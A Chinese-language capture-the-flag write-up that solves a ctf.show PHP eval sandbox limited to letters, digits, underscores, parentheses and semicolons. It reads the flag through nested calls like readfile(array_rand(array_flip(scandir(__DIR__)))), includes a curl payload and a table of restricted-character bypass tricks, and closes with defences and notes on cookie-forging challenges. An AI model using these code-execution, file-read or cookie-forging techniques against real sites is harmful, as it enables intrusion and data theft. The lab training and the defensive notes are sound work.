2026-10-12 通关。靶场:
https://<uuid>.challenge.ctf.show/环境:nginx/1.20.1 + PHP 7.3.29 (php-fpm, www-data),docker 容器(有/.dockerenv) flag:CTF{shell_code_base64_bypass}一句话:在线 PHP 执行器,白名单只放[A-Za-z0-9_();]。没有引号、没有$、没有逗号、没有空格 → 只能"常量 + 嵌套单参数函数",用scandir(__DIR__)列目录、array_rand(array_flip())随机撞文件名,读出flag.php源码里的 flag。
0. 全局思路图
POST code=... → 在线 eval 沙箱
→ 探字符集: 只有 字母 数字 _ ( ) ; 放行 (空格/引号/$/,/./[/] 全 BLOCK)
→ 无参函数直接跑: phpinfo(); ✓
└ 看到 disable_functions 空 / open_basedir 空 / FLAG=not_flag(诱饵)
→ 无引号 → 用【常量】当字符串: __DIR__ ✔ 名字全是字母数字下划线, 刚好过白名单
→ 无 $ → 用【嵌套调用】传值: readfile(scandir(...))
→ print_r(scandir(__DIR__)) → 看见 flag.php / index.php
→ readfile(array_pop(scandir(__DIR__))) → 读到最后那个 = index.php → 拿到过滤正则
→ 目标是第 3 个元素 flag.php, 但没有 [ ] 没有 , 取不到中间
→ 破法: readfile(array_rand(array_flip(scandir(__DIR__)))) ← 随机撞, 1/4 命中
→ flag 在 flag.php 源码里: <?php $flag = "CTF{...}";
1. 过滤规则(源码原文)
if (!preg_match('/^[a-zA-Z0-9();_]+$/', $_POST['code'])) {
throw new Exception('Invalid characters detected! Only letters, numbers, underscores,
parentheses and semicolons are allowed.');
}
ob_start();
eval($_POST['code']);
$output = ob_get_clean();
echo htmlspecialchars($output);
白名单只有 [A-Za-z0-9_();]。逐字符实测(用 x<字符>x; 探,看是否报 Invalid characters):
| 字符 | 结果 |
|---|---|
$ ' " , . / = + - [ ] { } \ @ : * & \| ! < > % ^ ~ ? \ #` 空格 |
全部 BLOCK |
A-Za-z 0-9 _ ( ) ; |
放行 |
被堵死的常见手法:
| 手法 | 死因 |
|---|---|
$_GET[x] / $_POST[x] |
没有 $ |
system('id') |
没有引号 |
echo 1; |
没有空格(要写 print_r(1); 或 echo(1);) |
f(a,b) |
没有逗号 → 只能调单参数函数 |
$a[0] |
没有 $ [ ] |
include "/flag" |
没有引号 |
只剩一条路:无变量、无引号、单参数、纯嵌套调用。
踩坑记录:一开始以为
echo getcwd();被拦是因为echo/getcwd在黑名单里 —— 其实是空格。凡是带空格的 payload 一律挂,这个假象浪费了一轮排查。探字符集要用最小差异样本,不要用整段 payload 猜。
2. 分步复现
① 无参函数直接可用
phpinfo();
一把过。关键信息:
- disable_functions = 空、open_basedir = 空 → 函数不限
- allow_url_include = On(可惜没 $,用不上)
- FLAG 环境变量 = not_flag ← 诱饵,别当真
- DOCUMENT_ROOT = /var/www/html
② 用常量当字符串,嵌套调用列目录
没有引号,但 PHP 常量本身就是字符串,而且名字全是字母数字下划线 —— 天生合法:
print_r(scandir(__DIR__));
Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )
没有 $ 不影响 —— 嵌套就能把返回值直接喂给外层。可用的常量:__DIR__、__FILE__、PHP_EOL、PHP_VERSION、DIRECTORY_SEPARATOR、PHP_OS。
③ 先读 index.php 摸规则
readfile(array_pop(scandir(__DIR__)));
array_pop 取数组最后一个 → index.php → 读到上面那段过滤正则。
HTTP 直接访问
/flag.php是 200 + 0 字节:文件里只有一句$flag = "..."赋值,没有任何输出。flag 只在源码里,必须用readfile而不是include。
④ 取中间元素 —— 本题真正的考点
flag.php 是第 3 个元素,但:
| 尝试 | 结果 |
|---|---|
array_pop(scandir(__DIR__)) |
最后一个 → index.php |
array_shift(scandir(__DIR__)) |
第一个 → . |
next(next(scandir(__DIR__))) |
❌ next() expects parameter 1 to be array, string given —— 引用传参,嵌套时外层拿到的是字符串 |
end() / current() / reset() |
同样要引用,套不了 |
scandir(__DIR__)[2] |
没有 [ ] |
array_slice(scandir(__DIR__),2) |
没有 , |
没有 [、没有 , 就没有"按下标取元素"的原语,pop/shift 只能在首尾两个值之间打转,永远摸不到中间。
破法:把"下标"换成"键",让随机来撞。
readfile(array_rand(array_flip(scandir(__DIR__))));
array_flip(scandir(__DIR__))→ 文件名变成键:['.'=>0, '..'=>1, 'flag.php'=>2, 'index.php'=>3]array_rand(...)→ 返回一个随机的键 = 一个随机文件名(注意:直接array_rand(scandir(...))返回的是随机下标(int),喂给readfile会去找名叫2的文件 → 所以必须先array_flip)- 4 个元素里 2 个是
...(readfile报错),约 1/4 命中,循环刷几次就出
<?php $flag = "CTF{shell_code_base64_bypass}";
完整 payload
U="https://<uuid>.challenge.ctf.show"
curl -sk -X POST "$U/" \
--data-urlencode "code=readfile(array_rand(array_flip(scandir(__DIR__))));"
# 多刷几次, 撞到 flag.php 即出
3. 沉淀:字符受限 RCE 的通用突破口
| 限制 | 突破口 |
|---|---|
| 无引号 | ① 常量:__DIR__ __FILE__ PHP_EOL DIRECTORY_SEPARATOR PHP_OS;② chr(N)(数字不加引号也行) |
无 $ |
全靠嵌套调用传值,不能存中间结果 → 所有操作必须能"函数套函数" |
| 无逗号 | 只挑单参数函数;多参函数看有没有默认值能省(implode、array_filter、array_reverse 都是 1 参可用) |
| 无空格 | echo(x);或换 print_r / var_dump |
| 列目录 | scandir(常量) + print_r/var_dump |
无 [ ] 取元素 |
首尾用 array_pop/array_shift;中间用 array_rand(array_flip(arr)) 随机撞 |
| 读文件 | readfile(路径) —— 读的是源码,PHP 文件不会执行(include 会执行,通常啥也不输出) |
| 想看 eval 作用域 | var_dump(get_defined_vars());(本题只泄漏超全局,没 $flag) |
思维要点:过滤做的是"字符白名单",所以真正的约束不是"能写什么函数名",而是**"这个语言的哪些构造在纯字母数字下划线括号分号里还能表达字符串"** —— 常量、chr()、函数返回值就是三个答案。
chr(47) 这种写法特别有用:/ 被拦时,chr(47) 能直接造出它,用来 scandir(chr(47)) 列根目录。
4. 防御角度
白名单正则挡得住引号和 $,但完全挡不住 scandir/readfile/phpinfo 这类无参或单参函数 —— 人家根本不需要引号和变量。
要真防,只有三条:
- 别在生产环境提供"代码执行"功能 —— 这个功能本身就是洞,任何正则都是猫鼠游戏
disable_functions = scandir,readfile,file_get_contents,glob,system,...(注意eval是语言结构,disable_functions关不掉,得靠 suhosin)open_basedir限制到 web 目录之外(本题open_basedir为空,等于全盘可读)
5. 同批 ctf.show 题速记
| 题 | 考点 | 一句话 |
|---|---|---|
Admin Login(IP aba4b84b) |
前端校验 + 隐藏 UA 校验 | JS 里 btoa(密码) 白送密码,服务端还要求 User-Agent: ctf-show-brower → CTF{user_agent_inject_success} |
Admin Login(IP f30bae69) |
Cookie 伪造 | guest/guest 登录 → Set-Cookie: role=guest → 改成 role=admin → CTF{cookie_injection_is_fun} |
| base64 多层嵌套(JS 片段) | 逆推有损变形 | btoa 链里 .slice(3) 是有损截断,原密码无法唯一还原;有效密码族 = XY7316(Y∈!1AQaq),≈384 个 |
| 本题 | 字符受限代码执行 | 白名单 [A-Za-z0-9_();],靠常量 + 嵌套 + array_rand(array_flip()) |
跨题通用:
- 前端 JS 里的一切校验都是送分(btoa(密码)、correctPassword 常量)
- 报错信息是分级泄露的,逐层给对的输入,它就把下一层条件吐出来
- 拿到任意文件读 → 立刻读源码(index.php / flag.php),flag 常在注释或赋值语句里
- HTTP 访问某 flag.php 返回 200 但 0 字节 = 文件存在但无输出 → 去读源码,别在读接口上死磕